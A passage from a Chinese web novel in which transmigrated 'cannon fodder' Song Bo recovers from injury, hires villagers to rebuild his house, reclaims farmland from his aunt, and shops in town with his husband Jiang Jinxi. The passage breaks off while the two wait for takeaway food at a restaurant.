原主只知道宋茶栽会医,但并不清楚她是从哪儿学来的医术,在原著里原主不过一个炮灰,一年以后就炮灰掉了,自然不会写明他亲戚的事儿,所以宋泊也不知道宋茶栽原来是有师傅的。 “你也不必管我师傅是谁,你只要知道他很喜欢金熙就是了。”宋茶栽说着放下药,搬了凳子坐下,叫宋泊脱了衣裳,让她瞧瞧背上和手上的伤口。 宋泊倒也不扭捏,他听话地扯着衣带,江金熙的视线定在宋泊经络分明的手上,两只手的指尖捏着衣结的两边,手微微使劲,衣结的线慢慢被拉开,衣服顺势散开,漏出宋泊的胸。 忽而意识到自己正瞧着什么,江金熙脸色微红挪开了视线。 宋泊沿着手臂拉下衣服,再夸着,“金熙又聪明又漂亮,你师傅喜欢他也实属正常。” “也?”宋茶栽把江金熙的微动作看在眼里,听宋泊这么答,她问:“这么说来,你也喜欢金熙咯?” 江金熙竖起耳朵,抓着空碗的两手因为使了劲指节微微泛白。 “自然,我也喜欢。”宋泊想也未想,直接便答着。 江金熙的心跳因为这几个字越跳越快,他觉着自己继续在房内待着可能要喘不上气了,就端着手里宋泊吃完的空碗,说:“我、我先去洗碗。”随后便落荒而逃。 看着他匆忙跑去的背影,不知道的还以为身后有洪水猛兽正追着呢。 宋茶栽先让宋泊把药喝了,随后才开始帮他换外伤药。她有意打探宋泊的心意,便故作不经意地问着,“既然你也喜欢金熙,不如我们找个时间将他明媒正娶回来?” 说到底,他俩成为夫夫的方式实在不够正经,不能搬上明面说道。 宋泊喝完药的空碗放在圈起来的腿中央,他两手大拇指摩挲着碗沿,说:“我说的喜欢不是那种喜欢。”想起原著中的剧情,宋泊的语气沉了几分,“他总是要离开这里的。” 宋茶栽拇指和中指拿着药罐,用食指轻轻点着,等药粉均匀落下粘在伤口上以后,她才回话,“你是神算子,知道金熙一定会离去?” 宋泊不可能跟宋茶栽说原著的事儿,他低着头,看着空碗中的白色,说:“你也能看出来,金熙他不是普通百姓,等他家中人找来,我们就得将他还回去了。”这话明明是他心理想的真实内容,可是说了出来却感觉又有些差错,“我只能护着他这段期间,他的路还宽着。” 宋泊的话不无道理,江金熙举手投足之间都带着一股贵族小公子的气势,会写字,手中又没有干活的茧子,可见他是被家里人当做掌上明珠捧着的。 宋茶栽比宋泊年长,生活经验也更丰富,夫妻还得是门当户对才好,什么穷小子配富千金这种事儿,只有话本里写的出来,若是现实中发生这事儿,那穷小子还不得被别人编排着戳脊梁骨。 这般想来,宋泊与江金熙确实不是良配,虽然不想这么贬低自家侄儿,但宋泊确实配不上江金熙。 “听你说来,你好像知道他家里人何时找来?”宋茶栽说。 “何时找来又有何区别呢?明珠丢了,换做是你你找吗?”宋泊反问。 宋茶栽沉默了一会儿,静静给宋泊上药,而后她实在没忍住,叹了口气,“也没事,等他走了以后我们再做打算。” 宋茶栽上完药以后就拿着空碗出了门,房内只留下宋泊一人。 不知是不是被身上的伤口给影响了,总之他的情绪有些低落。 他从窗外往外看去,宋茶栽家中的树比他家的好些,还有一些绿色的叶子正在变黄当中,一只鸟儿落在了树干上,叽叽叫了几声以后,看着屋里的宋泊,随后它展开双翅,从树干上飞走,飞出了宋泊的视线范围。 算了,想那么多做什么呢?他只是个炮灰攻,他能做到的,只有护住江金熙一年,让他想做什么就做什么,高高兴兴地度过一年。 第25章 第二十五章招人。 夕阳西下之时,宋茶栽进了厨房开始忙活,家中炊烟渺渺飘着,香气飘散出去老远。 杨绘正巧路过,闻着味儿直接跨进院儿中,高声说着熟门熟路走入了厨房里,“今儿个做什么好吃的?大老远就闻着了。” 宋茶栽看了眼来人,道:“来得正好,今晚就在我家吃晚饭吧。” 杨绘看着锅中炖着的鱼汤,鱼汤米白,香气四溢,边儿个还有人坐在木凳上择菜,便问道:“今日是何好日子?” “这些都是宋泊买的菜,不做浪费了。”宋茶栽答。 杨绘怀疑自己耳朵出了问题,她问:“你说谁买来的?” “宋泊。”宋茶栽答。 杨绘难以置信宋泊竟然会买菜给宋茶栽,他没从宋茶栽家抢菜走就已经很不错了,还会送菜来,她嘀嘀咕咕着:“这人真的改性了?” 江金熙将手中的菜洗完,一把抓起来晃了晃,沥干水分后从木凳上起身。 杨绘这才看清江金熙的容貌,因为现在正在干活,江金熙把头发完全束了起来,露出光洁的额头,细长墨黑的眉毛下一双眼睛亮得如宝石,鼻子小巧精致,嘴唇朱红,真真是个美人坯子。 “金熙,叫杨夫人。”宋茶栽道。 “杨夫人。”江金熙捧着菜微微俯身,动作优雅但配上手里的菜确实有些反差。 “诶,真是个乖孩子。”杨绘应了一声,而后凑到宋茶栽身边,小声在她耳边问着,“这谁家孩子,漂亮又听话。”因着她是里正夫人,所以村里有何许人也她一清二楚,江金熙长得如此漂亮她却完全不认识,唯一的可能只能是宋茶栽的亲戚来家里玩了。 “他是宋泊的夫郞。”宋茶栽答道。 “什么。”杨绘小声惊讶,村中婚事都得喊她家夫君去主持,最近没听闻她夫君说过村中有喜事呢,“怎么回事啊?” 宋茶栽知晓杨绘问的是什么,她解释道:“家穷,草草办的。” 杨绘转眼又瞧了眼江金熙,还是不敢相信这个事实,难道宋泊那人上辈子积了不少德,这辈子才会讨到这样漂亮贤淑的夫郞。 江金熙找不着菜盘饭菜,便问着,“大姑,这菜往哪儿放?” 都叫宋茶栽大姑了,想必这事儿确实板上钉钉了。 杨绘在心底叹了口气,打心底里心疼江金熙嫁给了宋泊,她虽心中怜惜,但这毕竟是他人家事,就算她是里正夫人也无法干涉。 宋茶栽让江金熙把菜放好以后,叫他将做好的菜端进大厅,而后她转眼对杨绘说:“别杵着了,给我搭把手。” 也就宋茶栽这个杨绘的好闺蜜才能使唤得动她,杨绘一挽袖子,加入做饭的行列当中。 刘南民从田里回来以后也上厨房帮了忙,一伙儿人忙活许久,终于在戌时将菜全都端上了餐桌。 江金熙回了偏房扶着宋泊出来,眼瞧着面前这九菜一汤,他惊道:“今夜真是有口福了。” 先被菜色惊着以后,宋泊转眸看着桌边站着的杨绘,主动打了招呼,“杨夫人好。” 杨绘倒是没想到自己还有这么大面儿,能被宋泊主动打招呼,虽说心中还是有些瞧不上宋泊,但俗话说得好,伸手不打笑脸人,她也就点了个头算是回应了。 众人围着圆桌坐下,宋泊左手边是江金熙,右手边则是刘南民,杨绘到底是个女子,跟刘南民一块儿坐不合适,便如此安排着。 “自家聚餐没什么规矩,大家动筷子吧。”作为家中长辈,宋茶栽简单说了句后率先动起筷子。 宋泊盯着那羊肉馋了许久,正动筷子朝羊肉夹去之时,就被江金熙拍了手,道:“这是发物,你不能吃。” “我就吃一点点。”宋泊转头小声与江金熙低语着,他就嘴馋羊肉,特意花了大价钱买了一小块羊肉来满足自己的食欲。 这是宋泊第一次撒娇,江金熙被宋泊水汪汪的眼神瞧着,差点儿就心软了,他闭上眼,捋清自己的思绪以后,还是铁面无情地拒绝了,“不行,你只能吃鸡肉和猪肉。” 宋泊眨了两下眼,“真的不行吗?” “不行。”江金熙再拒。 江金熙是为他好,宋泊便没有执拗着一定要吃羊肉,他认了命,筷子在中途一转,夹向了鸡肉。 看到宋泊乖乖夹了别的菜,江金熙才放下手来,没想到宋泊看着这么成熟的一个人,也会因为吃食耍赖。 杨绘坐与宋泊和江金熙对面,她将两人的交流全都收入眼中,本来她还想着以宋泊这样的人品,没准这夫郞是他买来的、抢来的,如此看来她的担心的多余的,那个漂亮哥儿像是真心实意嫁与宋泊的。 察觉杨绘的视线一直落在他的身上,宋泊抬眸迎视,说着:“杨夫人吃呀。” 杨绘这才收起眼神,专心吃起饭来。 饭后杨绘没有马上离开,刘南民拿着脏碗去厨房洗了,房内剩下他们四人。 饭后闲聊总得找些话题,杨绘瞧着宋泊脑袋上的白布,提起话头:“宋泊这是头撞着了?” “他家塌了,被落下来的砖瓦砸着了。”宋茶栽说。 “那可得好好养养。”杨绘客套地说着。 说起房子塌了这事儿,宋泊倒是有一事要拜托杨绘。 “杨夫人,我有一事想请您帮忙。”宋泊道。 杨绘正喝着茶,闻言托着茶杯的动作一顿,她放下茶杯露出脸来,说:“何事。” 宋泊说话如此礼貌,倒叫她不好直接拒绝。 “我想拜托您帮忙找些人帮我修房子。”宋泊说道。 再过两月就要入冬了,到时候要是没有房子御寒还得赖在宋茶栽家中,他不想这么做,便趁着杨绘来了,拜托她这事儿。 “做什么这么着急啊。”宋茶栽没听宋泊提过这事儿,听他忽然这么说她也是很惊讶,她道:“修房子可得花大价钱的。” “是啊,如你大姑所说,修房子是要花钱的。”杨绘顺着宋茶栽说的话茬往下,她是有听说宋泊最近都有去传福镇做工,可做工赚得了几个子儿,修房子可是个大活儿,没个几两的积蓄就别考虑修房子的事儿了。 “我自有办法,杨夫人能帮忙找人来就行。”宋泊说,上次赚二十五两,他采购花去一两,先如今还有二十四两多的钱,用来修一间主卧房应当是够的。 宋茶栽听他这么回答得这么模糊,心底一个咯噔,直接说着,“你莫不是又去赌了?” 宋泊哭笑不得,“没有。” “那你哪来那么多钱。”宋茶栽追问。 江金熙也投来了目光,屋内三人都盯着他瞧,宋泊又不能将自己卖了字的事儿说出来,只能嘴硬着说钱的来路是正经来路,让他们别多心。 见宋泊答得坚定,宋茶栽就没有再追问下去,说到底宋泊已经是个成年人了,他应当有些自己的秘密。 “你确定能给大伙儿发工钱?”杨绘问。 若是帮忙招了工来,别人也不会看是谁招的,只会卖面子给她,如此她便与招工挂上了勾,宋泊发不出钱来毁的可是她的名声。 “我”可写字据,后面四个字宋泊在说出口前及时转了弯,他怎么会写字呢?他现在可是大字不识一个的乡村野夫。 “你当如何?”杨绘问。 “我可先将银两拿出来,您收着就是。”宋泊道,写不了字据就只有拿钱出来才能令人信服。 “现在农忙,能来帮忙的人本就不多,你既挑在这个时候要人,那工钱自然得往上涨些。”杨绘说的都是实话,并没有因为宋泊是宋茶栽的侄子而偏心说些虚的。 “我知的。”宋泊答。 “一个工人工作一日需五十钱,你还得包他们的午餐,若是建个跟茶栽这间屋子一般大的屋子,大概得用上十人。”杨绘给自己倒了杯水喝下,继续说道:“搭房子需要用的物料由你自己购买,这般算来你要准备十两银子。” 这钱确实不是普通人家轻轻松松就能拿出来的钱数,宋泊不想摆阔,只能装着苦恼的模样,“现在我拿不出那么多钱,只能先给您五两。” 一下子直接掏出十两来,宋茶栽肯定会在杨绘离开以后追着他问东问西,他不想找理由解释,就只能说自己钱没那么多,这样会真实一些。 “何必搭这么大的,你搭个你俩够用的屋儿就行,这样工时短些,还能省下点钱。”宋茶栽说。 她这个屋子建的大是因为她有看诊的需求,宋泊和江金熙只是建来住的而已,无需那么大的面积。 “也是。”宋泊点头,他转头看向杨绘,“我先给五两您看能接受吗?” “看在你是茶栽侄儿的面上,成吧。”杨绘说。 刘南民正好在此时回来,宋泊便拜托他去床底下挖银子,好在他当时是分散放的钱,不然刘南民挖出来二十多两银子,肯定也是要跟宋茶栽说的。 宋泊说的位置很好找,刘南民去了不过半个小时的时间,就将宋泊藏着的钱带了回来。 杨绘拿到钱以后答应着招到人就来寻他,便没在久留,提上宋茶栽给的灯笼回了家。 第26章 第二十六章要地。 天上繁星高挂,杨绘走后大家也没在正厅内久留,江金熙扶着宋泊将他扶回了偏房。 宋泊坐在床上,背靠冰凉的墙,江金熙去厨房烧热水去了,只他一人待在房中。 等他身体好了以后,肯定得回码头搬货,这家中重建的事儿就得麻烦江金熙帮忙看着。家里藏着的钱不想被其他人偷了去,就得先告诉江金熙,让他先工人们一步把钱全都收起来。 比起相信外人,宋泊自然更相信江金熙。 只是为何会有那么多钱,他还得想个理由说给江金熙听。 江金熙端了水回来,盆中水随着他的步伐一晃一晃往外扑出来不少。 宋泊刚转了个身,打算从床上下来过去搭把手,就被江金熙出言阻止了,“你在床上躺着就好,我能搬得动。” “你装那么多水做什么?”宋泊停了动作,看着江金熙把水盆放在桌上以后,扶着桌面喘气。 “两人用当然要多些。”江金熙说着,把面巾丢进水盆中,揉搓两次,拧干,交至宋泊手中。 宋泊现在清醒着,手也有劲,江金熙便让他自己擦脸。 江金熙趁着这个时间,将自己的面巾丢进水盆中,拧了拧简单地擦了面儿。 两人都洗面完毕,宋泊身上有伤,得保持伤口周围清洁,江金熙重新拿回面巾,洗了洗,接近宋泊,“你将衣服脱了,我帮你擦背。” 在宋茶栽面前他脱衣服还挺迅速的,但在江金熙面前,宋泊不知为何就有些扭捏了起来,深吸两口气以后,他脱去上衣裳。 还好现在是秋季,气温凉爽,再加上宋泊整日躺在床上也没怎么运动,身上没沾汗,整个人还很清爽。 江金熙拿着面巾,将脑中乱七八糟的思想丢了以后,才轻轻覆在宋泊的背上。昨日着急宋泊伤势并未太过在意,今日精心下来,才发现宋泊背后的肌肉因为搬货已经结实许多,摸起来有些硬又有些软。 “金熙,我有事与你说。”宋泊背对着江金熙,两手放在曲着的腿弯之间,在江金熙为他擦背的这个时间里,正好可以把他刚刚想的事说道说道。 江金熙手下动作未停,应着:“你说。” “修房子的事儿还需麻烦你。”宋泊说:“到时我去镇上做工,就得由你盯着那些工人了。” “这算什么事儿,索性我也只是换个地儿看书,并不妨碍我什么。”江金熙还以为宋泊要说什么大事,兜转回来不过小事一件。 “还有,除去杨夫人拿去的五两,我还在家中藏了十九两,得麻烦找出来收了。”宋泊再道。 十九两对于江金熙来说不算大数字,但对于百姓来说可是无比大的数,对一家三口来说,十九两够他们用一年,还能有余的钱。 “你哪儿来的那么多钱?”江金熙心思敏锐,明白宋泊不在正厅说,而在他俩独处的时候才说,肯定是不想让宋茶栽知道,但他还是要问问,就怕宋泊真如宋茶栽所说,又误入歧途了。 “我现在不方便说,只能告诉你那些是正经钱。”宋泊说。 “当真?”江金熙反问。 “当真,我可以发誓。” 宋泊说着就要抬起右手,不过被一只纤细娇嫩的手给摁了回去,江金熙自宋泊身后压住他的手,“我信你,不用发誓了。” 发誓的词说出来总是吓人,江金熙不想听到那些字眼附在宋泊的身上。他相信自己看人的能力,宋泊是个好人。 宋泊与江金熙说了他藏钱的位置,这些位置都很好找,江金熙一*一默背记了下来。 一事说完,江金熙又提一事。 “你想在家里的田地种草药?”宋泊说。 “嗯。”江金熙应声,家中田地种草药是一举多得的事儿,但他怕宋泊以他没有经验种不了娇气的草药为由,拒绝他的提议。 “那当然好。”宋泊应声道,往后他得在秦闻那儿抄书,这家中地没人管空着也是浪费了去,江金熙愿意倒腾中药,那便让他去尝试一下,反正这地儿也是种着玩儿,不指望靠它挣钱。 上次族会以后,宋芸香说要还地,这么多天了他还未去瞅过,不过他估摸着,就以宋芸香那性子,能老实还地就有鬼了。 “真的?”江金熙语气飞扬,难掩高兴。 “只是我得先去讨地儿来,可能没那么快可以种。” “无事,我也得找姑父先问问,不能盲目下手。”江金熙做事向来稳重,中草药这事儿马虎不得,他得向刘南民取完经,心中有数以后才下手。 一夜两人相谈甚欢,将家里的大事谈了清楚。 翌日,天大亮,宋泊已无大碍,便跟宋茶栽说了江金熙想种药的心思,宋茶栽也是行动派,当即决定带他去田中瞧瞧。 到了田中,已有人在地里收菜,秋季正是收获的时候,村民们都忙得不可开交。 “宋大夫,出来转转呢?”有相熟的村民瞅着宋茶栽起身打招呼,看着宋茶栽身边跟着的宋泊又哑了下去。 宋茶栽没与他计较,和声应了回去。 村里儿的地都很不错,一路走来,每户农民都喜笑颜开的,可见今年的收成很是可观。 宋茶栽带着宋泊绕了绕,宋泊没有被绕晕,反而细心地记了路,又走了一会儿,终于瞅着自己的地。 宋芸香正站在地里头,双手叉着腰,趾高气昂地指挥着地里人干活。 看着两人来了,她心中一咯噔,两个很少下地的人在今儿一块来了,肯定是要地来了,她赶忙笑脸相迎着,“哎哟,大姐和侄儿怎的来了?这地儿可热哩。” “我带他来看看地。”宋茶栽说。 “侄儿这是要种地了?”宋芸香问。 “想种些草药。” “嘿——”宋芸香一个摆手,“这地儿种不了草药的。” “四姑此话怎讲?”宋泊问。 宋芸香仗着宋茶栽和宋泊两人不懂田里知识,张嘴胡道:“草药得高肥,这地儿的肥今年都耗尽了去,得过几年才能恢复呢,现下种草药下去,只会变成蔫苗儿,四姑不想你浪费钱。” 宋芸香的话说得很正,宋泊接着她的话往下说着,“那四姑如何建议?”想听听她究竟起的什么心思。 “索性我也料理这地儿多年,多少有些了解,不如你将这地交于四姑,我定帮你处理好。”宋芸香这才将她真实的目的说了出来。 原来在这儿等着他呢,宋泊与宋茶栽两人对视一眼,都从对方的眼中看见了了然。 “那不成的。”宋芸香用道理来压他,那宋泊就搬出更大的道理来回她,“这地儿是爹留与我的,我不种,不毁了他的心意。” 宋芸香没想到宋泊会把宋声茗搬出来,一时间被噎着,没话儿说。 宋茶栽接上,“是啊,三弟逝世前说的话你也听着了,这地儿是就给宋泊的,你占着去算什么?” “多谢四姑的好意,我知道四姑都是为我着想,之后我自己料理此地,是赚是亏我都认的。”宋泊再说。 两人一个唱红脸一个唱白脸,一套话术下来,宋芸香只得让地。 再这般强占着,只怕会落个不忠不义之名,村子小,一家的事儿一传十十传百,若真落得这名声,恐怕之后都没人愿意与她家往来了,她可还有个哥儿,不能让这般事堵了他的姻缘。 道理是这么个道理,但一份大油水被截了去,宋芸香心底还是不悦,她语气中都带了些冲,“得,吃力不讨好,等这波秋收以后,这地儿我就不管了。” 宋泊等的就是这句话,他道:“多谢四姑。”除去他与宋茶栽,田里还有那么多人在场,不怕之后宋芸香再赖皮。 等两人离开田地,宋芸香呸了一口,“谁稀罕你地似的,等我哥儿嫁进城里,可有你们羡慕的。” 宋芸香说话的声音不算小,田内收割的工人偷瞄了她一眼,被她揪着,又是一顿骂。 “还是你厉害,三言两语就把你四姑架在高台上。”返程的路上,宋茶栽笑着夸道。以往怎么没发现宋泊长了张巧嘴,这番要地他不仅真把地要了回来,还是站在道德高处把地要了回来,这传了出去,别人只会说他有孝心,不会说什么旁的。 “还是大姑配合得好。”宋泊恭维回去。 见宋泊那副机灵的样,宋茶栽大笑起来,“你这么聪明,不去读书也是可惜了。” 话题可不能往读书上引,虽说从小读书为好,可大了年纪才有钱财读书的人也不是没有,宋泊生怕宋茶栽要他读书,便说:“大姑你也知我之前过得什么日子,现下清醒过来,找了个活儿做着,家中有几亩地种些已是足够,在要我读书可真是要逼死我了。” “谁要你读书了。”宋茶栽说:“小机灵难登大雅之堂,我只是打趣你一句,相信你能读书,我不如相信猪会上树。”宋茶栽现在与宋泊的关系亲近不少,说起人来也是毫不留情。 听宋茶栽这么说,宋泊松了口气,不叫他读书就行。 第27章 第二十七章你是常客? 又过两日,宋泊彻底好了,便重新回了码头。 “当真好全了?”船老板记着当时宋茶栽与江金熙来时说的话,怕宋泊这个读书人给压坏了,便再问着。 “好全了。”宋泊应,“我与李五一齐请假,本就误了事,哪儿还好意思好了待家里躺着。” 船老板哈哈笑着,趣道:“误事无妨,反正你得把货搬了,我才能放你去秦闻那儿。” 宋泊应了声“行”,又投入搬货队伍当中。 这日子一晃便过了半月,十月头,杨绘才找齐了修房子的人,正巧这日宋泊休息,他便与江金熙一块儿,去了家中。 许久未回,乍一下看到自家废墟宋泊还有些不习惯,半月以前就是这堆烂了的转头瓦片砸着他,还好他当时护着脑袋,若是真被正中脑袋,恐怕这时他都无法站在这儿了。 杨绘带着人等在院内,有人瞅着宋泊,问:“杨夫人,他也要一起做工吗?” “他是请工的。”杨绘答道。 听闻这儿是宋泊家,是宋泊请的工,他们心底顿生不安,宋泊是什么人,村里人都清楚,他当头家,能不能发出工钱都是个问题,更别说包饭什么的工人福利。 虽说有杨绘打包票,但还是有人打起了退堂鼓。 江金熙长得漂亮,总是引人瞩目,工人堆里不知是谁问了句,“他身边那个天仙又是什么人?” “那是宋泊的夫郞,往后你们就在他眼皮子底下做工。”杨绘再答。 那些个本来想退了的人被美色一吸引,又上了头想着留下来,毕竟谁不愿意在美人面前露脸,若是哪天自己引了美人注意,让他甩了那个宋泊与自己一家,那不是捡了个天大的便宜。 察觉着那些人的视线,江金熙没有懦弱地躲在宋泊身后,而是昂首挺胸地正面相迎,往后他独自面对这些人的时间不短,每次都得靠宋泊,那宋泊还用去码头做工吗? 他已经及笄了,是个能独当一面的人,京城中的财狼虎豹他都不怕了,还会怕这几个没读过书的乡野村夫? 宋泊走到院内,唤了声,“杨夫人。” 杨绘抬手拍了拍宋泊的肩膀,道:“还没改口呢?叫杨姨。” 虽说杨绘会帮忙完全是看在宋茶栽的面子上,她对宋泊心底还是有些往日的疙瘩在,但宋泊毕竟算是半个自己人,她可得帮着撑撑场子,别叫别人给欺负了去。 杨夫人和杨姨不过一个称呼的区别,其中的亲属关系可就差了远了。 “是我忘了,杨姨。”宋泊了然杨绘的意思,顺着她的话往下借着。 听起宋泊称呼杨绘为杨姨,大伙儿虽然不满这个工头,却也没在面上显示出来。 宋泊走到众人面前,眼神扫视过面前这八个人,杨绘为他找来的这八人无一不是人高马壮的,要建房子,肯定得话大力气,宋泊站于他们面前,除了个子不差以外,体格倒是比他们瘦弱些。不过宋泊气势强,眼神扫过去,如刀子般剐在他们脸上,叫人心里打怵。 “你们都是杨姨找来的,我自信任你们的能力。”宋泊清了清嗓子,声量正常,却跟自带了喇叭一样,震得人清醒,“不过有几件事,我希望大伙儿能遵守。” “第一,做工期间禁止偷鸡摸狗,第二,往后他是你们的头家,他说的话你们必须遵守。”说着,宋泊往边上挪了一步,亮出江金熙的身形,“第三,他是我的夫郎,谁敢有不该有的心思,后果你们不想知道的。” 宋泊还记着原著中江金熙总会被那些歹人抓着机会,但他总不能一直护着江金熙什么事也不做,便出言威胁道,“你们知道,我不是什么好人。” 这番话说出去倒真的震慑到那八个工人,常言道,光脚的不怕穿鞋的,宋泊这个光脚的保不齐发了疯做出什么吓死人的事儿也是很有可能的。 不过打一棍棒总得给颗甜枣,宋泊缓和了下语气,说:“房子建好,该有的不会少一个子,若建得又快又好,还有多的钱拿。” 这“甜枣儿”大伙儿是听进了耳朵里,不过宋泊会不会实施那就是另一回事了,别干得累死累活,最终吃了个空饼。 宋泊将自己想说的话说完以后,偏头微低,与江金熙轻语,“你有什么想说的吗?” 做工头最重要的是立威,江金熙往前一步,眼神清冷语气平淡,“我夫君说的话便是我要说的,不过我要提上一点,恒国律法一千多条,每条我都一清二楚,若是有人犯了事我可以直接送他进大牢。” 哥儿考不了科举,以往江金熙在府中无事干的时候,就爱翻书,恒国律法被他翻了几十遍,他早已把各条法律牢记在心,也知哪些空子钻得,可以说只要有人犯了错事,他总能找个缘由将人送进去。 两个人都板着一张脸,这时的杨绘就得出来扮好人,她站在两波人中间摆了摆手,“都是自家村子的人,哪儿会手脚不干净,都多虑了。”接着又转头朝那八个工人说着,“好好做工,工钱少不了。” 有杨绘在中间缓和气氛,那八个人才算应了这活儿。 跟大伙儿约定好明日上工,宋泊便领着江金熙上了传福镇,修房子没材料怎么成,少妇都难为无米之炊。 坐在牛车上晃荡晃荡着,宋泊好奇问着,“你当真精通历律?” “不信你问问?”江金熙骄傲地小挑眉。 “你说历律有一千来条,那我便问问六百四十条律法写的是什么。” “凡驾车乱闯者,仗二十,致人伤残者,仗五十,致人死亡者,斩刑。”江金熙想也没想,直接流利地答了出来。 宋泊没读过恒国律法,自然也不知道江金熙说得对不对,不过看江金熙自信满满的模样,应当是一字未差。 “真厉害,没想到我家里有个讼师。”宋泊夸着。 轮下突然碾过一块儿小石子,车厢猛的一颠,江金熙身形一晃,宋泊赶忙长手一拦,将江金熙拦入怀中。 “会不会驾车?人差点给颠下去了。” “就是啊,摔下去你赔得起吗?” 掺杂的骂声当中,江金熙只听得见自己砰砰的心跳。 宋泊与那些寻常村夫不同,他十分关注自身干净,虽用不了香薰熏衣,却也有种自然的皂荚清爽香。香气侵入他心中,他感受着宋泊手臂的热度,脸渐渐红了起来。 以往没揽过江金熙,这下倒占了个便宜,江金熙比他瘦弱很多,一只手臂便能将他环去大半。宋泊说不清这是什么感觉,但只觉得还不赖。 见江金熙久久没有动静,宋泊怕他吓着了,他松开抓着江金熙手臂的手,让江金熙的脸展现在自己面前。 江金熙双颊泛红,确实像吓着了,宋泊柔声问,“你还好吗?” 江金熙眸子微垂,“不好,我怕车再颠。” 江金熙的样子十分可怜,宋泊拉着他的手腕让他靠自己近些,“那你便靠着我吧,我至少没那么容易摔下去。” “好。”江金熙借着害怕,悄悄靠上宋泊的肩膀。 宋泊的手斜着撑在江金熙身后方,保护他的安全。 好在牛车只颠了那一次,之后便正常地行进着,两人顺利抵达了传福镇。 交过钱以后,宋泊让江金熙离自己近些,进了城人流量增多,保不齐会走丢的。 江金熙乖巧应声,随后与宋泊并肩走着。 建房的材料还得去上次买木材的店儿买,路上经过喜春楼,宋泊便想着晚些时候打包些菜回去,送到里正家,算是给杨绘的谢礼。 “哟,这不是宋公子吗?”喜春楼老板正在门口伸懒腰,他眼睛尖,一下瞅着人群中的宋泊,他三两下下了台阶,走到宋泊面前打招呼。 老板亲自下来打招呼,这关系可不浅,莫不是宋泊是这儿的常客?江金熙悄摸地瞥了宋泊一眼。 “这位是?”老板瞅着宋泊身旁的江金熙,问。 “他是内子。”宋泊往侧前方跨了一步,遮住江金熙的身形,喜春楼还做什么生意他知道,所以才遮挡住老板看江金熙的眼神。 老板一副“我知”的模样,朝宋泊眨了个眼,难怪当时喊了伶人来他却无动于衷,原来是家中已经有了个绝世美人儿,老板拍了下宋泊的肩膀,说:“宋公子可真是好福气。” “是。”宋泊应。 自上次宋泊给他写了字以后,被字吸引着来店里的文人雅客数量增多,他每日算账掰算盘珠子掰到手发软,自然对宋泊十分亲近,他道:“今日有新菜品,要不整点尝尝?免费的。” “晚些,我要先去买些建房的材料。”宋泊说,这么早打包菜只会凉了,等要离开传福镇了再打包,才正合适。 听宋泊要买修房子的材料,老板一拍大腿,“我知道一家店,你过去报我名字保准便宜。” 宋泊本来不想欠老板人情,但听着喜春楼的材料都是自那儿而出,而且价格确实便宜,他便有些心动了。 算了,欠上的人情以后再还就是。 第28章 第二十八章那字真好看。 走在街上,江金熙有些好奇,他直接问着:“张老板似乎和你很熟络?” 刚刚张福财与宋泊在门口交谈的时候,他瞥着店里有那些穿着轻纱的哥儿和女子,这地儿应当不是单单吃饭这么简单,再联想到之前闻到两次的香味,江金熙撇了撇嘴。 “可能是因为我帮过他两次忙吧。”宋泊说,真正的原因他还得瞒着。 江金熙两手环胸,道:“我怎么不相信呢?” “欸,你还没首饰,我给你买个首饰吧。”宋泊眼尖看着旁边有间首饰店,他轻拉江金熙的手腕,将他拉进了店内。 这般生硬的转移话题更是证明其中有鬼,宋泊难道是那种好色之人?江金熙想着,觉得这个猜测有些不合理,若他真是好色之人,他到现在不会还是完璧之身。也不是他自大,只是在容貌这事儿上,到目前为止还没有人能比过他的。 “你看看这个如何?”宋泊手里拿着个铁簪,簪子上镶有一颗青色猫眼样宝石,被铁丝如花儿般包裹其中。 玉石价格很贵,纯玉发簪五两往上,质地好内里通透的玉更贵,能卖到十两,他们现在还得修房子,花不了大钱。 这铁发簪镶的宝石也是高等货,在刚刚江金熙出神的时候,他已经问过了店小二,这簪子卖二两三百钱。 江金熙拿着簪子,食指和拇指捏着簪身,转动簪子三百六十度看了一遍,这铁簪自然比不上他在京城里戴过的首饰,可胜在做工精细,宝石品质好,就是这头儿有些太尖了,有些扎手,“这个发簪有些尖了,我怕扎着人。” 这也是宋泊选择这个簪子的原因之一,江金熙之后要独自面对那些个壮年男子,身上没个护身的东西实在不妥,带刀吧,重且不说,拿出来又容易被抢,而头上带着的簪子就有很好的隐蔽性,若有人真敢做坏事,可以趁其不意给其致命一击。 “我想它护你安全。”宋泊直言道,发簪作为发饰藏在头上,来当武器使再好不过了。 江金熙忽而觉得自己手中的发簪烫得吓人。 “喜欢吗?”宋泊问。 江金熙红了红耳根,“那便包起来吧。” 店小二“诶”了一声,高兴地包簪子去了,去之前还夸宋泊真是个好夫君,疼夫郞。 买好发簪,宋泊与江金熙出了首饰店,又走了一炷香的时间,才走到张福财推荐的店铺。 到了地儿才发现,张福财推荐的这家店确实大,比宋泊之前去的那家大了十倍。 “看看,想要买些什么。”老板站在前台木桌之后,店内的员工都在帮客人搬货,只有他还有些空闲可以搭理客人。 宋泊来这儿是为了打折的,他直接报出张福财的名字,正在算账的老板抬头起来,细看了眼宋泊,才道:“原来是财弟的朋友,你尽管看,价格给你少两成。” 宋泊左摸摸砖、右摸摸瓦,既然要将卧房重新搭起,那干脆重新装饰一番,也好看些。 “金熙,你觉得哪种砖好看?”宋泊问。 江金熙看看这个又看看那个,在脑子里搭建起卧房的大致模样,“不如就选最普通的吧。” 这房还在村中,如果装饰与众不同,抢了里正宅子的威风不说,还有可能会引人嫉妒。 “也行。”宋泊应着江金熙所说,选了白色的砖和青色的瓦,这是最普遍的搭配,尽显低调。 一大堆建材单靠宋泊和江金熙是搬不回去的,好在老板这儿提供送货服务,宋泊才安心地交了钱离开。 一块砖减了两钱,百来块就减了两百多钱,一片瓦减一钱,这般折扣以后,宋泊一共花了五两,确实是便宜了不少。 重回喜春楼,张福财已经站在前台后头掰着算盘算账,看着面前一片阴影落下,他抬头,“哟,回来了,怎么样,我推荐的还行吧?” “是不错。”宋泊应声着,看着张福财身后挂着的菜板,微微侧头问江金熙,“想吃点什么?” 上次打包菜回去完全是他自己的猜测,这次江金熙正好就在他身旁,可以按着他的喜好点些菜回去。 江金熙抬头瞅着菜板,这店里的菜名花里胡哨的,单看名字根本不知道是什么菜,宋泊也只来过两次,上次打包的菜还是船老板点了以后他觉着好,按着船老板报的名字点的。 张老板见两人站在前头盯着菜板发呆,多少知道他们遇到的困惑,他喊来一个店小二,专门给他们解释菜色。 多亏了店小二,江金熙才点到自己想吃的糖醋排骨和上次的桂花糖藕。 宋泊还要包一份菜送给杨绘,所以点的菜有些多了,需要一些时间制作。他与江金熙就坐在厅中的一张空桌子等着,有店小二来送茶水,宋泊便给江金熙倒了一杯。 